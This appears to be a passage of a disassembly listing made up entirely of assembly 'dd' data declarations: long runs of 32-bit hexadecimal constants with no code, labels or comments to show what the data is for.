		dd 8046040Ch, 7E2CB02Fh, 48DA284Ch, 1925B099h, 2CD24C29h
		dd 58EE837h, 0E77E88D5h, 0CC7BC3E6h, 0D51F882Ah, 48F070BFh
		dd 0FB5BCEFEh, 210141Ah, 57E76A93h, 9C0F1D66h, 0A5BE1110h
		dd 46FFBFB1h, 4D7890F5h, 55A8E29Fh, 5E092D5Ch, 0D29A6366h
		dd 0E330ABBh, 4126F45h,	17E1BC32h, 0AE3A41EFh, 6CE72AF1h
		dd 8EB4D31Fh, 71B66ACBh, 0A3F52D9Bh, 5A5D76E3h,	0EFEE90E0h
		dd 7127581Bh, 82F0521Dh, 39A08708h, 8FE909B8h, 0D72519F6h
		dd 58689618h, 86233C62h, 1505004Fh, 1EEE74Dh, 0A07A6D0h
		dd 17C9685Bh, 2DC02E08h, 0D796365Ch, 7F225909h,	1F866198h
		dd 27722FCBh, 7A31BAFBh, 0CCA74A5Dh, 0E98458FEh, 39AEA29Bh
		dd 7098F82Ch, 9EC43097h, 0D3FEB50Bh, 0AAB3244Fh, 260916F4h
		dd 0C675F63h, 0C1125AD7h, 85DC713Dh, 0E3E7E942h, 0C304A6ADh
		dd 0BF60CF32h, 463D4618h, 1E596968h, 0F2DE63FFh, 160C5E15h
		dd 0CD3B0EB6h, 0AEFF3533h, 162F1821h, 37F7C580h, 89091A60h
		dd 0B7E1FB4Fh, 30EB1880h, 1E9FA0Dh, 0DB26D973h,	2D6AA925h
		dd 84A7A93Eh, 4C09A317h, 3661F722h, 2907E296h, 0B7F63CECh
		dd 5775DAE6h, 928CBF1Eh, 0DCFB3149h, 0D0FE25D6h, 0EE299F3Fh
		dd 6D3E6027h, 0F024CB5Dh, 9C2DBB4Ch, 490F40CFh,	47033D1Ah
		dd 8AE26B12h, 4BA65849h, 54F2F7ECh, 81B2BF61h, 1D5CEC7h
		dd 0EE2A75B6h, 33E63F40h, 0C06F0E30h, 54B09A90h, 8429E912h
		dd 6002A0F8h, 7D297258h
		dd 20A9210Dh, 1997B373h, 5755554h, 93EEF22Ah, 10B1A816h
		dd 27CEF82Ah, 8247145Ah, 2A7A5FF9h, 32C14334h, 8AE1A2EEh
		dd 0C50BC159h, 4294DE30h, 750907A3h, 47F72509h,	0EE5C1668h
		dd 9754C62Ah, 9D2B68EDh, 79561EA4h, 1666362Fh, 63280B0Ch
		dd 13506C7Ch, 0A1655161h, 92D00022h, 6F5C5C31h,	0CAFD30C1h
		dd 9F05E668h, 2B0B34F3h, 2761E777h, 6CD6F54h, 0B15CEC3Eh
		dd 8C2B4BC7h, 0B95F7571h, 6DE1E889h, 440811A7h,	0F868E186h
		dd 0E3A33A74h, 38571CC9h, 0B54EF89Ch, 58A6B071h, 0CA2B06C9h
		dd 0D479BD6Ah, 39B42064h, 591C025h, 1F926E94h, 2D51C2B8h
		dd 4EDCD607h, 0D2E35996h, 2DC1A85Fh, 7D3F0B51h,	0C3952AC4h
		dd 0FD5FEA2Bh, 77A79CC5h, 0E9414547h, 902A2ABFh, 447ECF0Eh
		dd 10FA5B4Ah, 27790831h, 835ED7F7h, 7660E961h, 6BDBCA3Eh
		dd 0BFE45A0Ch, 0A3A9F7F3h, 0D2C5B70Ch, 0D3870D4Bh, 3008DAF7h
		dd 39021855h, 16E9B89Ah, 81D00435h, 804D3075h, 25B7EA6Dh
		dd 9D295D5Bh, 8825158h,	2504CC5Dh, 0F1D1950Eh, 3ECF55A7h
		dd 63028D0Ch, 7D620BEFh, 0B840301Ah, 0CD7736EBh, 0E9FB290Bh
		dd 5ED578D7h, 7A38EDBBh, 0B0E9684Bh, 8003135Bh,	0D048499Ch
		dd 6AD05879h, 0D6592707h, 6B1B8501h, 0E24AC1A9h, 45B001Ch
		dd 0E6439FD2h, 6AA9AFA4h, 0AF5BA085h, 0F80E038h, 0EEC0DDE6h
		dd 73CFB3Ch, 2C60C684h,	0A1ECB81Ch, 64AB9DB2h, 97E91E74h
		dd 9B925548h, 0D6ACF35Fh, 57CBDBE2h, 4F4FFC7Ch,	252A8FC5h
		dd 0F8909D74h, 97737168h, 6BA22598h, 0E91777E0h, 0A7D394D9h
		dd 0A70CB831h, 0E947F701h, 63D4E0F5h, 40505AA0h, 3F0FBE0Bh
		dd 44357A3Ch, 0E7AF6EA1h, 41407E0Eh, 5AF1EC55h,	1531BE9Eh
		dd 3581AE67h, 1B229CC2h, 46ECEC0Ch, 4EED8081h, 0F27A2331h
		dd 3EEA9857h, 8E6880ADh, 31AE354Bh, 0A7F18FCBh,	9DDDD0F5h
		dd 2F5593DDh, 98624BC5h, 89E5FB5Dh, 0B0DED101h,	6B024103h
		dd 96A1B443h, 0E99CF46Eh, 6CF01428h, 98A66D20h,	0F6AE10FDh
		dd 0AFBD7CFEh, 0E55B6498h, 990973BDh, 6CD5FEECh, 989AACD0h
		dd 0DE052B41h, 0B951007Ah, 217E691Dh, 578A4AC5h, 84FF8295h
		dd 884D8157h, 3AF7F4ECh, 389B7C94h, 65861306h, 5931AB3Fh
		dd 5B00E26Bh, 83D95456h, 0A66F2DDAh, 22481023h,	0EF1D2C13h
		dd 0B39AF1Dh, 0FD1C8B14h, 50806197h, 0C38060B0h, 6590C18Eh
		dd 2AE78BE9h, 1CF7FFCCh, 2D6855F1h, 0A6A9DBE3h,	0F9FFC240h
		dd 3394C37Dh, 93C22484h, 7848FDBFh, 0A9968A7Ch,	0E374FAADh
		dd 0C168ACF0h, 1D6CC719h, 0BB7431Ah, 55C549ECh,	9B0E0D0h
		dd 0EC925795h, 0BFB5E55h, 0AA12F8E9h, 17C15E57h, 10F8F85Dh
		dd 5E7D2064h, 0B93D8C46h, 317BE500h, 0C5BF574Ch, 6283303Ch
		dd 61DB0E84h, 0F9210C12h, 41BD005h, 1017F498h, 40B8C1Dh
		dd 99D03F1h, 4537AAC2h,	0C2AA3D0Fh, 7F6A90FBh, 15BF587Bh
		dd 0E45D5E19h, 0DC0BDAE0h, 71570004h, 80C98133h, 50280C26h
		dd 5F9CF101h, 0A13A3F79h, 14F83B2Ah, 0FBCF0CC4h, 1C99F541h
		dd 6CED6ABAh, 282C043Eh, 0DFD887EAh, 1DA35C44h,	0EE5F183Bh
		dd 4A296636h, 9A4514F8h, 20F1471Fh, 1987583h, 6819022Dh
		dd 69D349BDh, 80BA092Fh, 0C904258Fh, 7BC9F384h,	22B53C32h
		dd 1805F55Bh, 9722FF5Fh, 8609F508h, 5F69E459h, 24A58253h
		dd 0CB52E7B7h, 0E10C1047h, 98CB0113h, 1C5E7D7Ch, 8184ACB9h
		dd 294BAEEh, 57BA7E82h,	7F716698h, 7036E032h, 6AF4093Fh
		dd 0A252471Eh, 2CAAEC56h, 514B72ECh, 1EE8AC25h,	0BDECC520h
		dd 0C0D717AAh, 0CB194C76h, 9906E72Fh, 53B70F93h, 50022D96h
		dd 5B5870E9h, 1027B907h, 12A1A438h, 0A73FFEC9h,	170C21E0h
		dd 0FA598566h, 0CB55B844h, 3E20F816h, 60E8C0B1h, 906F9B06h
		dd 0FE0CDA40h, 1713E9B2h, 4ABC0048h, 24BF6CBAh,	0B10087A9h
		dd 0D444B833h, 2E8F0858h, 9CAC855h, 418F8057h, 0C18D0276h
		dd 0C0961CDh, 0E34D99h,	0B8172772h, 70B5CABFh, 1826345Ch
		dd 0F0C9D80h, 0C1F15FB7h, 0F9F95B10h, 0B69FFCEBh, 7D0F2C60h
		dd 735134DBh, 569127BEh, 27B7B360h, 14300697h, 1FDB096Bh
		dd 94005E5Bh, 1E74CF12h, 6DF47301h, 25277018h, 0C467FD4h
		dd 3840F53h, 0F80E6037h, 87018F61h, 4946E983h, 0BAFC4F02h
		dd 850FA520h, 66E9BFAAh, 0D317800Ah, 0F72D1C8Eh, 0D9E00C8h
		dd 0FE0C99C5h, 23017FEAh, 94EE886Ch, 7B303DF8h,	0AE1C0AD6h
		dd 9B0F87h, 0C140E764h,	1D0FEC73h, 9D0751B2h, 3EF12380h
		dd 6EF6FC4h, 0F8FE418h,	0A32950EBh, 18FC04EAh, 10ABBB68h
		dd 8400618Bh, 0DD8C2990h, 0A32065h, 0B3BDB653h,	890B68F0h
		dd 0FF28E862h, 21C92485h, 5417BFF7h, 87864488h,	5F42B548h
		dd 23E324C0h, 0A148ACD5h, 10777BDh, 0E50369BEh,	0C8E84EB0h
		dd 0CC310084h, 0B01366AAh, 6300468Ah, 0C344BC4Ch, 12239C94h
		dd 0F7D75A4h, 0E6C05B7Fh, 4C97406Eh, 4B21D300h,	0DBA1481Ch
		dd 1EF40050h, 24184E30h, 0B41CF031h, 71009C13h,	0B7DEB38Bh
		dd 7F977C5Ch, 7A150098h, 0D02E4A0Ah, 0AC7DF55Ah, 0BA800900h
		dd 0F9D1B771h, 0A8224AAAh, 9BA11613h, 0BEA00FFEh, 0E161A6A0h
		dd 0B77928Dh, 916FD000h, 10681358h, 974800E4h, 0C5C02286h
		dd 5E00B8B7h, 0EF317494h, 9C9036h, 0FDA24C70h, 87569EE6h
		dd 7CBF8000h, 0AB95AE6Eh, 82C300EBh, 0E4923B94h, 0E2E02C11h
		dd 86FF2E00h, 57BF424Fh, 0E9790033h, 0A1AF8FBDh, 1500B0EFh
		dd 54A9EA16h, 1EA02Fh, 206F9B81h, 0A84462C9h, 91AD1400h
		dd 29838996h, 686D00EAh, 10C0D00Eh, 50FE42E1h, 0BE8D9709h
		dd 5E200086h, 91D5FDh, 75B9D73Eh, 589CBC22h, 7EA00500h
		dd 5E84E73Ah, 18371C1Ah, 68978090h, 4977F770h, 5DD3510Fh
		dd 42BAC02Fh, 14206B14h, 0D44CDDA7h, 81AF7500h,	821D39A1h
		dd 5AB4BE00h, 405CC41Bh, 0AEF4036Bh, 49ED66B5h,	764C1DB8h
		dd 0C84F9E00h, 152267BEh, 53B43D0Fh, 72FB7419h,	8D29D00Ch
		dd 0F2EDC500h, 1A9890BEh, 6F6B00A5h, 0DCF076F6h, 0F1003707h
		dd 914A5897h, 0C133002h, 460D16CFh, 7500D6F1h, 4FB6094Dh
		dd 99ED31h, 7CD11434h, 5EB2F618h, 92D6FC00h, 910880AFh
		dd 0E8E0010Fh, 0C9C0F06Fh, 0F8A7F94Bh, 8C02BB32h, 551F98E3h
		dd 27ED004Dh, 86A0F9h, 70D1A5Bh, 0CE9A6EADh, 0FBE2B303h
		dd 0C1996A65h, 0E42485C0h, 0A22900F5h, 28FD4098h, 0E639E907h
		dd 0C57E819Ah, 0DDB19F6Ch, 0CBEFD4h, 63BDC2D0h,	298E9D24h
		dd 0A4FD410Eh, 0C4C07FADh, 305C37FAh, 0E3FE038Ch, 0CBCC0C7Ch
		dd 424B1100h, 9075A9E8h, 0E296F46Fh, 0E329246Ah, 13040379h
		dd 2BBB012Dh, 11C8A0B7h, 7016EC6h, 0B14D2555h, 0D9FC5C41h
		dd 0A48550A1h, 0B0F2C051h, 1B08BADBh, 0CA00F4A4h, 1E4E62D9h
		dd 39A86937h, 0AC9F543Ch, 8F5EE74Fh, 88425900h,	1C909823h
		dd 0C0E20E95h, 89E1621Ah, 3301C13Ah, 8F8D3EF9h,	0E02A2263h
		dd 0A3004524h, 9510E5BDh, 38F2318Bh, 8400FC1Dh,	0EB05260Ch
		dd 0EA000B34h, 0E5111AABh, 0EEAE20A4h, 0EFD51E3Bh, 0C5ED00C3h
		dd 48FE5AA5h, 80792200h, 3D589936h, 4BAB0305h, 471BF3D9h
		dd 0CE4C8998h, 0FA0073FAh, 0DC0EA9Fh, 7A026D54h, 6A5F3F45h
		dd 0DCA828h, 0C3ABE35h,	0F01F9914h, 27DF800h, 0E461DBD3h
		dd 45BD00B5h, 1E0D95C4h, 6D0192F6h, 4E72D629h, 34CCB70Ah
		dd 359C1EF0h, 9BD0C019h, 0F915E27Dh, 0FC009CDDh, 81F485A9h
		dd 46C2003Dh, 4988ACC0h
		dd 9700B6C3h, 73EB7E3h,	0E89AF3FAh, 95E4008Eh, 845C460Ch
		dd 6F00B589h, 3601D715h, 30294B1Bh, 3A209352h, 76006757h
		dd 0CE05D275h, 3BA3227Eh, 3C8006DFh, 403523F4h,	7A0F7232h
		dd 0EFFF85FDh, 8EB9805Bh, 902C5A4Dh, 0E8CD0028h, 2A63EB36h
		dd 9749520Ch, 0D2910758h, 0F770FAB8h, 3F619484h, 66001632h
		dd 3ED40F2Dh, 4B02BB06h, 9B708BF4h, 44FA8020h, 0F8ADEC4Eh
		dd 6E6A02E4h, 0DDB877F3h, 8E3CEF80h, 0EA14A6B5h, 0BCA478h
		dd 0C3EDA3C2h, 9807144Bh, 44170399h, 3CB7055Fh,	4C1B02F8h
		dd 8800FE74h, 7671850Ch, 97B4EFh, 0C5184AB8h, 6B5D1D50h
		dd 9DCBEE00h, 158E6FD5h, 87E04Fh, 2C03A1ECh, 38F08C64h
		dd 0ABFA6A01h, 31CDEF53h, 99DA5E80h, 1EA1F165h,	5F3938B0h
		dd 0E53D8740h, 48606FA2h, 9353CBh, 42838CB4h, 99F43712h
		dd 7F82748h, 920E59ACh,	75F233E0h, 0D6180070h, 0B7FC5358h
		dd 0E003353Ah, 82851B97h, 0C4E5F0C9h, 60F748A9h, 0ACD48A0Ah
		dd 91BB0E9Dh, 0F5740072h, 0DD63CF35h, 81E8D100h, 36BEC912h
		dd 0EBCC070Bh, 0F782E164h, 8CCFD0B1h, 23031F59h, 0CB4206A5h
		dd 0F940CF71h, 0F6D76FEh, 9DC7D612h, 2BB227E1h,	7FABECF3h
		dd 7194BB00h, 2D605B22h, 99D1006Ch, 5E1A877h, 26682EC3h
		dd 7A00ACD8h, 5E9FF7FEh, 84DC1EE2h, 68BF8041h, 4CA1A723h
		dd 0F1870300h, 51853616h, 64150130h, 3FF71132h,	26DCCC18h
		dd 100CFD73h, 0D9C9618Dh, 0EE541F3Dh, 0AC9DDE35h, 4A15836Ch
		dd 0BEF15E2Fh, 4E6C20D5h, 39536B00h, 0C31AD276h, 0B9112660h
		dd 925C1EC9h, 0C7E81E59h, 0A98C7FB5h, 0B0B42407h, 83017AA4h
		dd 0BCE84400h, 9A4AFF7Bh, 959F0004h, 3CA4FC3Bh,	0A0062822h
		dd 40854866h, 5D2400E8h, 0F24AA1AAh, 3D00385Bh,	0DAB28AB6h
		dd 662282h, 68335E6Bh, 0FDDE587Fh, 0D77803FCh, 0A67430FFh
		dd 0F259AB00h, 7A5B9690h, 0DB9100B0h, 3C301B3h,	0BB00FC28h
		dd 0D3D017CAh, 0F3114Ah, 3325DDECh, 679378ACh, 9A0B4300h
		dd 0C38EB14Fh, 0C27A0E11h, 6B405FE1h, 4ED6D1E5h, 80B0233Bh
		dd 5B56AAA6h, 770CAD4h,	588F1408h, 0D8E02F9Eh, 0ABCD3289h
		dd 157C0F00h, 0C3EEFCF7h, 844F0ECCh, 0BF00D458h, 639349Eh
		dd 0F8564503h, 0E8B014C8h, 0A3253291h, 76C1C1FCh, 79B4430h
		dd 80D8DE5Ah, 64BBA03Dh, 0C7B4A31Fh, 1AED8200h,	4D8132h
		dd 2E60112Ch, 143BF30Dh, 2239D8E6h, 890C82F9h, 81D0DD5Dh
		dd 0EA5039FCh, 0CA226823h, 0FE858000h, 0E05C99F3h, 427F00DAh
		dd 8FCE286Eh, 0FCB28C81h, 121BD404h, 0D200824Ah, 0B2054971h
		dd 0E92D4B00h, 0CD103095h, 0F2140078h, 0D2F85AAEh, 8400AB8Eh
		dd 0DC0B8D04h, 1FEC6BE4h, 9F47C5BCh, 0B72E80A3h, 1B94DF88h
		dd 516920h, 7CF523E9h, 67EF3E26h, 0C1095E03h, 704A8BB2h
		dd 7E0607B1h, 0F0DC1A74h, 0D6142829h, 7F0FD0Ah,	0F10287EDh
		dd 0C0D7B735h, 868FCh, 504C860Eh, 0B5CF37D3h, 0A0E5BA00h
		dd 10D0034Ah, 0C36505F6h, 809DC506h, 0DE8B70CCh, 764BAF00h
		dd 119C14FBh, 2D5F00B5h, 64A7F78Eh, 0B2E69245h,	0B3E79700h
		dd 14770A3Ah, 0ABE800C5h, 683C7DD6h, 6D004546h,	58A77F24h
		dd 79799D01h, 0A45F00DDh, 9CFE77B9h, 66B04956h,	0F781D201h
		dd 21920FC6h, 90992870h, 267B4Ch, 9745A915h, 1EF3348Dh
		dd 84BFD00h, 9A164ED5h,	77B49222h, 0FC28C99Ch, 8CC0281h
		dd 90AA87FFh, 3880BC6Eh, 71B5D1h, 4B9AB61Eh, 322201EFh
		dd 88F21B17h, 0CAC3A500h, 147BB57Ch, 882C825Dh,	23E31600h
		dd 10787748h, 857ACB02h, 0E086A663h, 819C20h, 5276A2CCh
		dd 686C3728h, 0C87A1D00h, 143A9D30h, 86D03C6h, 82545394h
		dd 0EED4A000h, 0A44DC816h, 8D290025h, 9F6F441Ch, 9372643Fh
		dd 0FFD0553Ch, 0DB968302h, 0E06EC8CDh, 0C0659001h, 0BA343030h
		dd 0A200B63Ch, 0CAEA4FA7h, 3E47CFh, 0AACCA0E9h,	264B8F8h
		dd 0D340DC1Eh, 565FA140h, 64FA4h, 0C22F848Ah, 3168E10Eh
		dd 0D0C3FE38h, 0E9004D99h, 0B126E67Bh, 0F78A056h, 0F1AD23FFh
		dd 2553D5A0h, 3807B02Dh, 3A3F58B2h, 80770D43h, 23A044h
		dd 8857DACh, 0ECE7076Dh, 80D2173Ch, 0F35F6034h,	592AA4h
		dd 2104B564h, 8FB185CAh, 63706B01h, 5005CC7Ah, 9200BC73h
		dd 4D79B313h, 0CA004E0Ch, 363FC32Fh, 0C69ADFh, 603778A4h
		dd 0B80327D5h, 0DE20D200h, 0FB7470A9h, 0E1F5007Bh, 468201BDh
		dd 4FEAE7EFh, 8C0F3Ch, 0B3DCEA27h, 0D85F28h, 1D5449C9h
		dd 101E03C5h, 0E2BCDA06h, 0E8B89701h, 427E7Ah, 0AA271F4Dh
		dd 84FDF932h, 6A7E050Fh, 534FA195h, 9FC85DD7h, 20A70026h
		dd 0DC04120Ch, 0A502CEA4h, 6E108C67h, 0F583C098h, 686300D5h
		dd 0B3F64E94h, 0CD00A8DEh, 3D5C20FCh, 56D6Ch, 0EA51A5E9h
		dd 3A9F32CEh, 41CA1800h, 0A2089616h, 0F7F22F66h, 3070D107h
		dd 0A01C5BB5h, 86696A00h, 59776FB0h, 15F074h, 24D5F7CDh
		dd 0B12A5409h, 0EDA727h, 0A4B37CF0h, 97AA5059h,	0C0EB1FA0h
		dd 0F36C048h, 588A3B96h, 0D484DF1Fh, 1BCC2780h,	146FE8h
		dd 5EB93262h, 0AA047DABh, 50C8F401h, 881D530Ch,	608DC30h
		dd 9652C75Fh, 57401172h, 4F8D44D1h, 3D003FF0h, 0A15DEBAEh
		dd 1C8C90A4h, 81B76BDCh, 0D0502345h, 4801C478h,	0F815E816h
		dd 0C7ACAC03h, 0A327D30Eh, 47C906EEh, 21F6C3E8h, 90EBF00h
		dd 88482D16h, 172E007Eh, 0CC2C74A4h, 0A760E401h, 0AC242328h
		dd 140DE84h, 46C72F06h,	3FA8810Bh, 0B0250809h, 0E8051047h
		dd 502A1C0Dh, 59F530h, 71A3205Dh, 49881F31h, 0D7A0DA03h
		dd 0F8DB43C7h, 29908Bh,	37FAFA6h, 48422A7Eh, 0FC386D3Ch
		dd 0BA00BCFAh, 0B9F5A365h, 5BEB3Fh, 0DAA13E4Ch,	4DB393C3h
		dd 0D95C5900h, 106C2049h, 524B0161h, 62921CF5h,	4F0360F1h
		dd 563FD900h, 1D832642h, 0FF99125Eh, 2ABE003Bh,	167184E3h
		dd 0AA758A00h, 11251BCEh, 49AD1C6Bh, 864E8140h,	0A680788Ch
		dd 0E00102E8h, 298E05FCh, 1971F9E1h, 0C16242Ch,	0D3C831Ch
		dd 0D361FFA0h, 2B04F911h, 3730EC40h, 0B0115869h, 0A88F1DE1h
		dd 3883AB41h, 0C80CC5FBh, 29041179h, 0F32832B4h, 0B054A300h
		dd 0FE448C69h, 58BE046Ah, 3886FB2h, 9163E9EAh, 900982D3h
		dd 0FD22A049h, 24FE6A1Dh, 0A6015029h, 3868F367h, 0E428B010h
		dd 0A9319B03h, 0F8B3D07Ah, 0C147B473h, 74B87EE0h, 484400Ah
		dd 0A87E46AEh, 0F0101962h, 1E0C44D2h, 0C3D89927h, 0EE7AED0h
		dd 73804FE7h, 42A747C4h, 0D4307F7Fh, 7030381Ah,	0B15E032Dh
		dd 2CF37EF0h, 9D4251C1h, 99F46710h, 7B4A6E81h, 306FCC4h
		dd 6C097866h, 46801269h, 0B354AD8Fh, 0F66E8CA0h, 992EC0F1h
		dd 1181D6Eh, 94F3C3C4h,	0D1AE24DCh, 0A8AA007Dh,	88036148h
		dd 8F964B62h, 180CF938h, 0F64A479h, 761AEC2h, 0AD0BB303h
		dd 0C1876900h, 0EFED6C94h, 21340045h, 0C0243576h, 810385F8h
		dd 900D75FDh, 0A41001B8h, 0A937028Dh, 15B83008h, 2BEAC203h
		dd 3F5464h, 414A3010h, 36F9F525h, 0EE32F201h, 8D0A8A2h
		dd 0D626A087h, 0DD5AB084h, 0A56A1201h, 2F080489h, 32D70022h
		dd 0B5D8AE62h, 28DF4F00h, 0A7366CCh, 7D830920h,	50803116h
		dd 756E360Fh, 8C070578h, 76CC0B8Fh, 0E72B8E1Eh,	6180F295h
		dd 0E37168Eh, 35209986h, 34E5DE83h, 170D7FF8h, 28AA6500h
		dd 0F47490FFh, 79970035h, 0AC951B12h, 87051A0Bh, 0BA361175h
		dd 78103828h, 0E91A7888h
		dd 158C184Ah, 2D781C08h, 74B07F60h, 200F86h, 0FC28776Bh
		dd 15057387h, 0F8DE6C00h, 0F17F8B1Ah, 1667801h,	8A9124EBh
		dd 41BA16EFh, 0C3FB9368h, 0A018AAC1h, 0B9579839h, 3E8FC304h
		dd 551000B4h, 0BCC65434h, 0AC0051B3h, 2AEF5653h, 35A2CFCh
		dd 0DCA96A9Ch, 410334F8h, 0BE69FA4Ch, 0E181E6Bh, 0B2490AC5h
		dd 8FCD0608h, 0D5034CDEh, 69CE393Fh, 2C01ED03h,	43D624A7h
		dd 0C58B3C9h, 0C88D16Ch, 303012C6h, 51B01F1Eh, 1158409Bh
		dd 66BAEA0h, 0C70A3459h, 6610F640h, 40A8B0CDh, 78596861h
		dd 7850592Ch, 0A1D00EAEh, 0FC0E6B58h, 437E87C3h, 0A821BF98h
		dd 69A600D6h, 0CE32B5BCh, 0AC72D3B9h, 530CAC92h, 284FC21Ch
		dd 1866015Fh, 4B65E031h, 0DE0C433Ch, 24AE50D1h,	62002EE4h
		dd 0DCABF564h, 3A698BA5h, 36142655h, 28040C42h,	90D835D7h
		dd 0E9C457FCh, 2AD4D000h, 0AFAAF64Bh, 505FE8CBh, 0F6CC0CE4h
		dd 142E4D5Ah, 58402858h, 1200A36h, 7464B655h, 0A8B0844h
		dd 57AC5599h, 42BCA08Ch, 4B84058h, 63764144h, 0A25E8027h
		dd 0F0A11ED2h, 4CB3DA8Fh, 0E0A069F8h, 5C98BA32h, 48484E42h
		dd 0A10DAE22h, 0C1E1B041h, 0A6D6D360h, 1AD3458Ch, 657D80E4h
		dd 995A312Ch, 2E98327Ch, 0A1901113h, 0DD911B57h, 0BC04F068h
		dd 0B6328843h, 31885153h, 0CC0EE0FCh, 84116420h, 9444A729h
		dd 0D5CA031Ch, 3C84E09Ch, 0C8C32BEh, 80148AADh,	0C992268h
		dd 81D5ECC2h, 91F988Ch,	0D0A80462h, 31882C53h, 2878E0F8h
		dd 0C574F441h, 4961A111h, 30408994h, 0D7602EC9h, 0DD28A914h
		dd 1A8085E2h, 0C30993Fh, 8CA0B099h, 7E26F72Dh, 907D0CAFh
		dd 0A841A982h, 350CABEDh, 6880148Ah, 0C20C99BAh, 8C84D574h
		dd 0A19C9A07h, 0F11B5726h, 920959F3h, 0A07CDEB1h, 0D38985E0h
		dd 0D71404F9h, 6BD88F4Ah, 0F3F57410h, 0F25061D5h, 0DB2C15D6h
		dd 3245E420h, 7CA89BF6h, 0D9103281h, 0D89A1B79h, 6C9230AFh
		dd 4CAA2F58h, 30512C4Dh, 8DE8F81Ah, 30AC1CF8h, 0FA10CABDh
		dd 1D7FDB91h, 0DC044C06h, 0A018C7ADh, 8231F678h, 4143DC84h
		dd 51EE348Eh, 10B01880h, 0B8B4B9B1h, 56FE70C7h,	0AAB588C8h
		dd 6C459C20h, 11C93C18h, 0E4406736h, 0C13CE851h, 0C086A9E0h
		dd 1DD8551Eh, 0D17EFC3Ch, 6203F923h, 0E30EAFE9h, 0F304A29Bh
		dd 0BEFC85Dh, 3EDE7875h, 0F507CC08h, 0C2AC6315h, 1483BA10h
		dd 77E1FC94h, 0F9247099h, 11FDF4A0h, 0B900009Ah, 608BFFBEh
		dd 19F0F555h, 8ED5DB5h,	9D2180E1h, 0A6108BF7h, 0F6CA0175h
		dd 0C3E9BA47h, 2C44204Eh, 44357226h, 89890CABh,	1A7C042Fh
		dd 69C51C20h, 8CADAF03h, 652CD441h, 4149E060h, 731C59ACh
		dd 761424D0h, 0FC9862E4h, 0AAA9122h, 0FBF8EB85h, 0CBA87820h
		dd 0A77C028Ch, 0A08C5785h, 0DCA5808Eh, 8124974Dh, 4A39BA2Ch
		dd 440B02CCh, 48D09151h, 8BA86Ch, 467E554h, 6A1CFAF2h
		dd 0D3945754h, 29BAB337h, 0EC90AC74h, 9D10D0h, 319AB8EAh
		dd 0A7B3C2ECh, 57D7C501h, 0F567FC29h, 0DB000829h, 0C1E3BA73h
		dd 2002D858h, 0CDAAD5D3h, 0F6846490h, 5B5A1EA8h, 5E7C1EF5h
		dd 0FEA58053h, 4C9B3104h, 0AE99D000h, 45C8D7F6h, 61181822h
		dd 0F0112080h, 0A777E4A8h, 3089E900h, 3C0F1668h, 6DEB00CAh
		dd 0E0A10E20h, 2011E9Dh, 6145A699h, 8104B4D8h, 20C59C44h
		dd 413A4FFCh, 20204118h, 18E365D4h, 0C454008Fh,	5E16BED5h
		dd 79044B00h, 0E17C693Ch, 6EB001BBh, 21493E2h, 0DD9460F9h
		dd 0A1BDAB14h, 423400B8h, 93667910h, 4D710057h,	0D870BAB5h
		dd 0AD0C9DCAh, 78C09441h, 8DF098Fh, 50102ED7h, 2D077A58h
		dd 17DADE90h, 530ADF40h, 0E3771601h, 0BA806D2h,	0A772E267h
		dd 2F41D501h, 0DBB5BACCh, 1C22AFDDh, 9D03110h, 2625E3CFh
		dd 90FCC4h, 0BA9D559Fh,	3EF6731h, 101C7948h, 9E3E299Ah
		dd 41805112h, 984A2EA8h, 38C47C6h, 40146861h, 80C4103Ch
		dd 3FA3177Ch, 5D9C0030h, 44901AC8h, 4C00A21Bh, 0E9E7F47Fh
		dd 2E6E69E2h, 1D9097AFh, 0E068CAADh, 0DB110C80h, 29635E49h
		dd 49E5708h, 0A21D48A8h, 1008912Eh, 0C02987DAh,	50735EEBh
		dd 30C3AEh, 14439321h, 705D61F3h, 7AF61A00h, 55B732F0h
		dd 8CC555E4h, 0BE45D400h, 0E6A90368h, 0DD10CB0Eh, 0C76F590Fh
		dd 0ED6720D1h, 2E3834h,	883A717Ch, 5D78D633h, 7BF02D03h
		dd 3BC24EB4h, 0B624F6C8h, 0A8D98090h, 0AB310265h, 993890CCh
		dd 7721C3A4h, 0C98065B0h, 5931BC55h, 2CD790D9h,	0D38109CBh
		dd 3C23CAADh, 0C4900D52h, 0CB05083h, 661C5508h,	0E06F0126h
		dd 2092BFB9h, 0F70C2FBCh, 69ABB4B5h, 8A790012h,	475EC303h
		dd 0E5005B81h, 34EE6A77h, 500C4158h, 0A05FBCD1h, 500B5DFCh
		dd 0D438F89Fh, 1AC0B041h, 1652F9F5h, 8076AD3Fh,	2199F832h
		dd 0B42EE1h, 287731D2h,	4FF152Fh, 49F43900h, 0B8D7B1A3h
		dd 180FF82Eh, 59AAB4F9h, 6103C9FEh, 0DB35A4E5h,	88AFA353h
		dd 52E9EACh, 512A07CAh,	8D0123Ch, 2C0FEE8h, 46555B8Bh
		dd 3E6221Dh, 0F58BFA9Ch, 809897C0h, 0A401E1D3h,	69AE2C2Eh
		dd 0F087D0DCh, 15114091h, 904484B1h, 0D5499A54h, 5200EB7Ah
		dd 0DF1A8137h, 0CA32FC4h, 0B4D41455h, 7002829h,	0EA4CCB39h
		dd 242F9991h, 491C34D7h, 5861C007h, 0B4F03828h,	329F5521h
		dd 8033FCD0h, 4655618Bh, 0E922EDh, 0F28BF89Eh, 34D0A82h
		dd 552F370Fh, 2C0944h, 53257800h, 1C7604EAh, 0C1730F62h
		dd 215E0610h, 3B9AC850h, 0D347FB28h, 36134917h,	0E8587814h
		dd 0E7738CA0h, 8E14A4EEh, 809CF560h, 99060251h,	48550066h
		dd 98A57F82h, 7428DF14h, 0ED2088DAh, 48FC00B1h,	0D5C8AFF1h
		dd 67130A7Eh, 600F4960h, 8307892Bh, 2DF5E1h, 0A273D359h
		dd 9A7BACE2h, 0A52B1F1Fh, 0C8994826h, 0F8636199h, 0EA30EBA2h
		dd 0E05E0E25h, 0BE4949D0h, 52A9F4A4h, 42228004h, 10815706h
		dd 45CBE20h, 88492F97h,	102482EAh, 9C00D844h, 36B7BEC8h
		dd 4C40581Ah, 407B6CA7h, 5918F3DEh, 0E568F738h,	341242Eh
		dd 39164Bh, 709232D1h, 507F80Ch, 0C54DAF51h, 5FF75BB0h
		dd 0D99030CAh, 0FA7D9299h, 0BB7825Ch, 80B4C66Ah, 10DD703Ch
		dd 0DC89DDD5h, 25AB4050h, 0AD348B9Dh, 0A2C06C01h, 0FB02A043h
		dd 0A0627863h, 78C5D73Ch, 8C612702h, 2E90C8E9h,	81CF6A90h
		dd 8630A1Ch, 0B5790BDBh, 3BA02020h, 0D9E841D0h,	7CA140C1h
		dd 3820302Eh, 488E611Eh, 502B59AAh, 4461AFECh, 4118BB64h
